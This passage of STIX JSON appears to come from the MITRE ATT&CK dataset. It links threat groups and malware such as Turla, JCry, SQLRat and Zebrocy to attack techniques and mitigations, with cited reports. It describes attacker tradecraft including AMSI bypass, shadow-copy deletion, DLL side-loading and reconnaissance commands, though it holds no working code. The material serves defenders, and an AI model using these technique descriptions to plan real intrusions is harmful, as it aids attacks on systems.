            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
            "relationship_type": "mitigates",
            "description": "Network intrusion prevention or data loss prevention tools may be set to block specific file types from leaving the network over unencrypted channels. An adversary may move to an encrypted channel or use other mechanisms of encapsulating the traffic in these situations.",
            "id": "relationship--36a41a30-61ce-4c55-9916-0a572dfe6d36",
            "type": "relationship",
            "modified": "2020-03-30T03:09:45.511Z",
            "created": "2019-06-14T17:33:50.544Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "id": "relationship--1e2075a3-5271-4ebf-aa9b-6a09ea985b76",
            "external_references": [
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-14T23:34:13.643Z",
            "created": "2019-06-14T17:35:11.286Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "external_references": [
                {
                    "source_name": "CitizenLab KeyBoy Nov 2016",
                    "url": "https://citizenlab.ca/2016/11/parliament-keyboy/",
                    "description": "Hulcoop, A., et al. (2016, November 17). It\u2019s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019."
                },
                {
                    "source_name": "Anomali Pirate Panda April 2020",
                    "url": "https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z",
                    "description": "Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has been known to side-load DLLs using a valid version of a Windows Address Book and Windows Defender executable with one of their tools.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: Anomali Pirate Panda April 2020)",
            "relationship_type": "uses",
            "id": "relationship--77dbc1ae-556e-43cd-b776-c7670ab5c915",
            "type": "relationship",
            "modified": "2020-05-21T12:59:00.606Z",
            "created": "2019-06-17T18:43:35.376Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "external_references": [
                {
                    "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf",
                    "source_name": "TrendMicro TropicTrooper 2015"
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used <code>pr</code> and an openly available tool to scan for open ports on target systems.(Citation: TrendMicro TropicTrooper 2015)(Citation: TrendMicro Tropic Trooper May 2020)",
            "relationship_type": "uses",
            "id": "relationship--5929ef3e-3945-4ede-b3cd-94f47850a6bd",
            "type": "relationship",
            "modified": "2020-05-21T14:55:00.488Z",
            "created": "2019-06-17T18:43:35.392Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "external_references": [
                {
                    "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf",
                    "source_name": "TrendMicro TropicTrooper 2015"
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used <code>netview</code> to scan target systems for shared resources.(Citation: TrendMicro TropicTrooper 2015)",
            "relationship_type": "uses",
            "id": "relationship--c4f4fe39-af57-47d3-8428-fe5bce63bdbb",
            "type": "relationship",
            "modified": "2019-06-30T22:44:28.340Z",
            "created": "2019-06-17T18:43:35.447Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf",
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                }
            ],
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                }
            ],
            "description": "In one version of [KeyBoy](https://attack.mitre.org/software/S0387), string obfuscation routines were used to hide many of the critical values referenced in the malware.(Citation: CitizenLab KeyBoy Nov 2016)",
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                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
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                    "url": "https://citizenlab.ca/2018/08/familiar-feeling-a-malware-campaign-targeting-the-tibetan-diaspora-resurfaces/",
                    "description": "Alexander, G., et al. (2018, August 8). Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces. Retrieved June 17, 2019."
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                    "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.",
                    "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html",
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                    "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."
                }
            ],
            "description": "[JCry](https://attack.mitre.org/software/S0389) has been observed deleting shadow copies to ensure that data cannot be restored easily.(Citation: Carbon Black JCry May 2019)\t",
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                    "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/",
                    "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."
                }
            ],
            "description": "[JCry](https://attack.mitre.org/software/S0389) has used PowerShell to execute payloads.(Citation: Carbon Black JCry May 2019)",
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                    "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."
                }
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            "description": "[JCry](https://attack.mitre.org/software/S0389) has used <code>cmd.exe</code> to launch PowerShell.(Citation: Carbon Black JCry May 2019)\t",
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                    "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."
                }
            ],
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                    "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."
                }
            ],
            "description": "[JCry](https://attack.mitre.org/software/S0389) has used VBS scripts. (Citation: Carbon Black JCry May 2019)",
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                    "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/",
                    "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."
                }
            ],
            "description": "[JCry](https://attack.mitre.org/software/S0389) has created payloads in the Startup directory to maintain persistence. (Citation: Carbon Black JCry May 2019)",
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                    "source_name": "Carbon Black JCry May 2019",
                    "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/",
                    "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."
                }
            ],
            "description": "[JCry](https://attack.mitre.org/software/S0389) has achieved execution by luring users to click on a file that appeared to be an Adobe Flash Player update installer. (Citation: Carbon Black JCry May 2019)",
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            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.",
                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/",
                    "source_name": "Flashpoint FIN 7 March 2019"
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            "description": "[SQLRat](https://attack.mitre.org/software/S0390) has used PowerShell to create a Meterpreter session.(Citation: Flashpoint FIN 7 March 2019)",
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                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.",
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                }
            ],
            "description": "[SQLRat](https://attack.mitre.org/software/S0390) can make a direct SQL connection to a Microsoft database controlled by the attackers, retrieve an item from the bindata table, then write and execute the file on disk.(Citation: Flashpoint FIN 7 March 2019)\t",
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                }
            ],
            "description": "[SQLRat](https://attack.mitre.org/software/S0390) has scripts that are responsible for deobfuscating additional scripts.(Citation: Flashpoint FIN 7 March 2019)",
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                }
            ],
            "description": "[SQLRat](https://attack.mitre.org/software/S0390) has used a character insertion obfuscation technique, making the script appear to contain Chinese characters.(Citation: Flashpoint FIN 7 March 2019)",
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                }
            ],
            "description": "[SQLRat](https://attack.mitre.org/software/S0390) has created scheduled tasks in <code>%appdata%\\Roaming\\Microsoft\\Templates\\</code>.(Citation: Flashpoint FIN 7 March 2019)",
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            ],
            "description": "[SQLRat](https://attack.mitre.org/software/S0390) relies on users clicking on an embedded image to execute the scripts.(Citation: Flashpoint FIN 7 March 2019)",
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            ],
            "description": "[SQLRat](https://attack.mitre.org/software/S0390) has used SQL to execute JavaScript and VB scripts on the host system.(Citation: Flashpoint FIN 7 March 2019)",
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                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
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                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used PowerShell profiles to maintain persistence on an infected machine.(Citation: ESET Turla PowerShell May 2019)",
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                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
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                    "source_name": "ESET Turla PowerShell May 2019"
                },
                {
                    "source_name": "Symantec Waterbug Jun 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used the Registry to store encrypted payloads.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)",
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                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
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                    "source_name": "ESET Turla PowerShell May 2019"
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used encryption (including salted 3DES via [PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Out-EncryptedScript.ps1</code>), random variable names, and base64 encoding to obfuscate PowerShell commands and payloads.(Citation: ESET Turla PowerShell May 2019)",
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                    "source_name": "ESET Turla PowerShell May 2019"
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used WMI event filters and consumers to establish persistence.(Citation: ESET Turla PowerShell May 2019)",
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            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) and its RPC backdoors have used APIs calls for various tasks related to subverting AMSI and accessing then executing commands through RPC and/or named pipes.(Citation: ESET Turla PowerShell May 2019)",
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                    "source_name": "ESET Turla PowerShell May 2019"
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used a AMSI bypass, which patches the in-memory amsi.dll, in PowerShell scripts to bypass Windows antimalware products.(Citation: ESET Turla PowerShell May 2019)",
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                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used a custom decryption routine, which pulls key and salt values from other artifacts such as a WMI filter or [PowerShell Profile](https://attack.mitre.org/techniques/T1546/013), to decode encrypted PowerShell payloads.(Citation: ESET Turla PowerShell May 2019)",
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                    "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019."
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            "description": "Identify and block potentially malicious software executed that may be executed through this technique by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "Corio 2008"
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                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
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            ],
            "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has used an OLE object that uses Equation Editor to drop the embedded shellcode.(Citation: FireEye HAWKBALL Jun 2019)",
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                    "source_name": "Cybereason Dissecting DGAs",
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."
                },
                {
                    "source_name": "Cisco Umbrella DGA Brute Force",
                    "url": "https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/",
                    "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019."
                },
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                    "source_name": "Akamai DGA Mitigation",
                    "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html",
                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019."
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            "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
            "relationship_type": "mitigates",
            "description": "Install software in write-protected locations.",
            "id": "relationship--5edd0b13-3d4f-4fe8-bd37-ece03d0562a2",
            "type": "relationship",
            "modified": "2020-03-20T14:28:39.714Z",
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            ],
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            "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
            "relationship_type": "mitigates",
            "description": "Update software regularly to include patches that fix DLL side-loading vulnerabilities.",
            "id": "relationship--11180662-ca5e-4603-b7c9-64b3259cc081",
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            "modified": "2020-03-20T14:28:39.712Z",
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            "description": "Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.",
            "id": "relationship--25a84607-970c-474e-83bc-143e2ccbb64b",
            "type": "relationship",
            "modified": "2020-07-14T19:31:46.710Z",
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            "relationship_type": "mitigates",
            "description": "Prevent adversary access to privileged accounts or access necessary to replace system firmware.",
            "id": "relationship--b4dafcd2-fed8-4266-b83e-f4033ada0d55",
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            "created": "2019-06-20T15:39:37.686Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb",
            "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89",
            "relationship_type": "mitigates",
            "description": "Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification.",
            "id": "relationship--f365854f-76e6-4746-bab8-2f2b94b50087",
            "type": "relationship",
            "modified": "2020-07-14T19:31:46.725Z",
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        },
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "source_name": "ESET Zebrocy May 2019"
                },
                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses cmd.exe to execute commands on the system.(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020) ",
            "relationship_type": "uses",
            "id": "relationship--b7cd3903-1b6d-4163-b7cf-97dbdeefda05",
            "type": "relationship",
            "modified": "2020-12-09T21:54:34.483Z",
            "created": "2019-06-20T15:44:46.309Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab",
            "relationship_type": "mitigates",
            "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)",
            "id": "relationship--52fcde3f-d3af-4785-940f-5856dd657455",
            "external_references": [
                {
                    "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.",
                    "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf",
                    "source_name": "CERT-EU DDoS March 2017"
                }
            ],
            "type": "relationship",
            "modified": "2021-04-12T18:34:07.218Z",
            "created": "2019-06-20T15:44:50.969Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) installed a Delphi backdoor that used a custom algorithm for C2 communications.(Citation: ESET Zebrocy May 2019)",
            "relationship_type": "uses",
            "id": "relationship--ea2f41fe-0701-4607-aa70-d6531c7461c6",
            "type": "relationship",
            "modified": "2020-03-20T16:37:06.313Z",
            "created": "2019-06-20T16:11:36.504Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b",
            "relationship_type": "mitigates",
            "description": "Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code.",
            "id": "relationship--f860fbe9-94c0-4e04-85b7-d3b29fd044ab",
            "type": "relationship",
            "modified": "2020-03-02T14:30:49.801Z",
            "created": "2019-06-20T16:15:33.398Z"
        },
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            "relationship_type": "mitigates",
            "description": "Ensure proper registry permissions are in place to inhibit adversaries from disabling or interfering with critical services.",
            "id": "relationship--c00535d0-6e59-4293-8034-70e5bf94a74a",
            "type": "relationship",
            "modified": "2021-03-02T22:11:32.208Z",
            "created": "2019-06-20T16:18:23.049Z"
        },
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            "type": "relationship",
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            "relationship_type": "mitigates",
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            "type": "relationship",
            "modified": "2021-03-02T22:11:32.206Z",
            "created": "2019-06-20T16:18:23.058Z"
        },
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            "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92",
            "relationship_type": "mitigates",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.",
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                    "source_name": "Ready.gov IT DRP",
                    "url": "https://www.ready.gov/business/implementation/IT",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."
                }
            ],
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            "modified": "2020-03-02T14:24:27.149Z",
            "created": "2019-06-20T16:21:24.870Z"
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            "relationship_type": "mitigates",
            "description": "Consider encrypting important information to reduce an adversaries ability to perform tailored data modifications.",
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            "type": "relationship",
            "modified": "2020-03-02T14:24:27.147Z",
            "created": "2019-06-20T16:21:24.881Z"
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            ],
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            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) executes the <code>reg query</code> command to obtain information in the Registry.(Citation: ESET Zebrocy May 2019)",
            "relationship_type": "uses",
            "id": "relationship--c4e03a2f-3617-4017-8dab-8904b1060c87",
            "type": "relationship",
            "modified": "2019-07-17T01:18:33.126Z",
            "created": "2019-06-20T16:44:52.810Z"
        },
        {
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            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "external_references": [
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                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses <code>netstat -aon</code> to gather network connection information.(Citation: ESET Zebrocy May 2019)",
            "relationship_type": "uses",
            "id": "relationship--1df5eebc-94f5-44ae-8feb-8d3a89fbfc4e",
            "type": "relationship",
            "modified": "2019-07-17T01:18:33.179Z",
            "created": "2019-06-20T16:44:52.842Z"
        },
        {
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            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
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                    "source_name": "ESET Zebrocy May 2019",
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                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) runs the <code>ipconfig /all</code> command.(Citation: ESET Zebrocy May 2019)",
            "relationship_type": "uses",
            "id": "relationship--7c18e59d-3448-462c-aaa7-bf03b9ea5780",
            "type": "relationship",
            "modified": "2019-07-17T01:18:33.176Z",
            "created": "2019-06-20T16:44:52.847Z"
        },
        {
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            "target_ref": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8",
            "relationship_type": "mitigates",
            "description": "Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.",
            "id": "relationship--9047a58e-6123-4456-ab17-6917934c8faa",
            "type": "relationship",
            "modified": "2020-03-02T14:27:49.467Z",
            "created": "2019-06-20T16:56:29.414Z"
        },
        {
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            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy May 2019",
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                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
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            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.",
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            "description": "Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)",
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                    "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx",
                    "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.",
                    "source_name": "TechNet Least Privilege"
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                {
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
                    "source_name": "Microsoft Securing Privileged Access"
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                    "description": "US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A",
                    "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet"
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            "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.",
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            "source_ref": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266",
            "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
            "relationship_type": "mitigates",
            "description": "Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well.(Citation: OWASP Top 10)",
            "id": "relationship--d5be72df-7267-4524-85fa-a497a0cd8052",
            "external_references": [
                {
                    "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project",
                    "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.",
                    "source_name": "OWASP Top 10"
                }
            ],
            "type": "relationship",
            "modified": "2020-07-14T22:22:06.434Z",
            "created": "2019-06-21T18:37:11.945Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b",
            "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
            "relationship_type": "mitigates",
            "description": "A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation.",
            "id": "relationship--9c41bfe8-99bc-4aed-a8b9-9e19794a6c59",
            "type": "relationship",
            "modified": "2020-03-11T14:19:57.063Z",
            "created": "2019-06-21T18:37:11.962Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72",
            "relationship_type": "mitigates",
            "description": "The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege.",
            "id": "relationship--4f93232a-e242-4917-9873-4bc5c37f3486",
            "type": "relationship",
            "modified": "2020-02-05T20:11:13.128Z",
            "created": "2019-06-24T10:53:12.332Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72",
            "relationship_type": "mitigates",
            "description": "By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.",
            "id": "relationship--1d078b15-d786-4aaa-b3be-e862b1a7c2e9",
            "type": "relationship",
            "modified": "2020-02-05T20:11:13.141Z",
